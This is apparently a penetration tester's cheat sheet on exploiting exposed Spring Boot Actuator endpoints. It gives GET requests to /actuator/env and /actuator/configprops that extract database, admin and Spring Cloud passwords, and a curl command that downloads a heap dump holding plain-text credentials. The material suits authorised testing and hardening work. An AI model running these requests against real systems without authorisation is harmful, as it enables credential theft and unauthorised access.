---
description: Open-source Java framework used for Spring-based applications
---

# Spring-Boot

{% hint style="info" %}
<mark style="color:purple;">**Read this article from**</mark> [<kbd><mark style="color:orange;">Wiz<mark style="color:orange;"></kbd>](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
{% endhint %}

<details>

<summary><mark style="color:purple;"><strong><code>Actuators</code></strong></mark></summary>

{% hint style="info" %}
<mark style="color:red;">**`Actuators are management endpoints, those are the most important for you:`**</mark>

&#x20;<mark style="color:orange;">**`/actuator/health`**</mark> <mark style="color:purple;">and</mark> <mark style="color:orange;">**`/actuator/info`**</mark> <mark style="color:purple;">are public available</mark>

* <mark style="color:orange;">**`/dump`**</mark> <mark style="color:purple;">or</mark> <mark style="color:orange;">**`/threaddump`**</mark> <mark style="color:purple;">- Exposes data in memory.</mark>
* <mark style="color:orange;">**`/trace`**</mark> <mark style="color:purple;">or</mark> <mark style="color:orange;">**`/httptrace`**</mark> <mark style="color:purple;">- Shows recent</mark> <mark style="color:orange;">**`HTTP`**</mark> <mark style="color:purple;">requests.</mark>
* <mark style="color:orange;">**`/logfile`**</mark> <mark style="color:purple;">- Exposes application log files.</mark>
* <mark style="color:orange;">**`/env`**</mark> <mark style="color:purple;">or</mark> <mark style="color:orange;">**`/actuator/env`**</mark> <mark style="color:purple;">- Reveals environment variables, configuration properties, and system settings.</mark>
* <mark style="color:orange;">**`/mappings`**</mark> <mark style="color:purple;">- Shows all URL mappings and endpoints.</mark>
* <mark style="color:orange;">**`/heapdump`**</mark> <mark style="color:purple;">- Downloads a heap dump file containing all objects in memory.</mark>
* <mark style="color:orange;">**`/shutdown`**</mark> <mark style="color:purple;">- Allows remote shutdown of the application</mark>
* <mark style="color:orange;">**`/restart`**</mark> <mark style="color:purple;">- Allows remote restart of the application</mark>
{% endhint %}

{% hint style="info" %}
<mark style="color:orange;">**`SecLists`**</mark>**&#x20;**<mark style="color:purple;">**has a great wordlist:**</mark> [<kbd><mark style="color:orange;">**Javascript-Spring-Boot**<mark style="color:orange;"></kbd>](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt)
{% endhint %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>Querying tricks</code></strong></mark></summary>

{% hint style="info" %}
<mark style="color:red;">**`Using Property Patterns`**</mark>

{% code title="When you see patterns like:" overflow="wrap" %}
```
spring.datasource.url
spring.datasource.username
spring.datasource.password
```
{% endcode %}

* <mark style="color:purple;">You can use these patterns in two ways:</mark>

{% code title="Direct Access" overflow="wrap" %}
```
/actuator/env/spring.datasource.password
```
{% endcode %}

{% code title="Prefix Queries" overflow="wrap" %}
```
/actuator/configprops/spring.datasource
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
<mark style="color:red;">**`Environment Variable`**</mark>

<mark style="color:purple;">Spring Boot automatically maps environment variables to its property format following these rules:</mark>

* <mark style="color:purple;">Uppercase letters</mark>
* <mark style="color:purple;">Replace dots with underscores</mark>
* <mark style="color:purple;">Replace hyphens with underscores</mark>
* <mark style="color:purple;">Remove special characters</mark>

{% code title="You can query these directly: " overflow="wrap" %}
```
/actuator/env/SPRING_DATASOURCE_PASSWORD
```
{% endcode %}
{% endhint %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>Enumeration</code></strong></mark></summary>

{% hint style="info" %}
<mark style="color:red;">**`Configuration Discovery with /actuator/env`**</mark>

<mark style="color:purple;">Look for interesting patterns:</mark>

* <mark style="color:purple;">Database properties (</mark><mark style="color:orange;">**`spring.datasource.*`**</mark><mark style="color:purple;">)</mark>
* <mark style="color:purple;">Security properties (</mark><mark style="color:orange;">**`spring.security.*`**</mark><mark style="color:purple;">)</mark>
* <mark style="color:purple;">Cloud properties (</mark><mark style="color:orange;">**`spring.cloud.*`**</mark><mark style="color:purple;">)</mark>

{% code title="Try prefix queries to see related properties:" overflow="wrap" %}
```
GET /actuator/configprops/spring.datasource
```
{% endcode %}

{% code title="Finding Database Credentials" overflow="wrap" %}
```
GET /actuator/env/spring.datasource.url
GET /actuator/env/spring.datasource.username
GET /actuator/env/spring.datasource.password
```
{% endcode %}

{% code title="Finding Custom Application Properties" overflow="wrap" %}
```
GET /actuator/env/app.admin.username
GET /actuator/env/app.admin.password
```
{% endcode %}

{% code title="If the application uses Spring Cloud, look for:" overflow="wrap" %}
```
"spring.cloud.config.uri"
"spring.cloud.config.username"
"spring.cloud.config.password"
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
<mark style="color:red;">**`Try Different content types`**</mark>

```
application/vnd.spring-boot.actuator.v3+json
```

```
application/json 
```
{% endhint %}

</details>

<details>

<summary><mark style="color:blue;"><strong><code>CVE-2025-48927</code></strong></mark> <mark style="color:purple;">-</mark> <mark style="color:orange;"><strong><code>/heapdump</code></strong></mark> <mark style="color:purple;">exposed -</mark> <mark style="color:red;"><strong><code>Initialization of a Resource with an Insecure Default</code></strong></mark></summary>

{% code title="Download a ~150MB file containing plain-text usernames and passwords and much more :) " overflow="wrap" %}
```sh
curl -X GET http://IP/actuator/heapdump
```
{% endcode %}

{% hint style="info" %}
<mark style="color:purple;">**Use**</mark> [<kbd><mark style="color:orange;">**VisualVM**<mark style="color:orange;"></kbd>](https://visualvm.github.io/download.html) <mark style="color:purple;">**took at the files from the dump comfortably**</mark>&#x20;
{% endhint %}

</details>

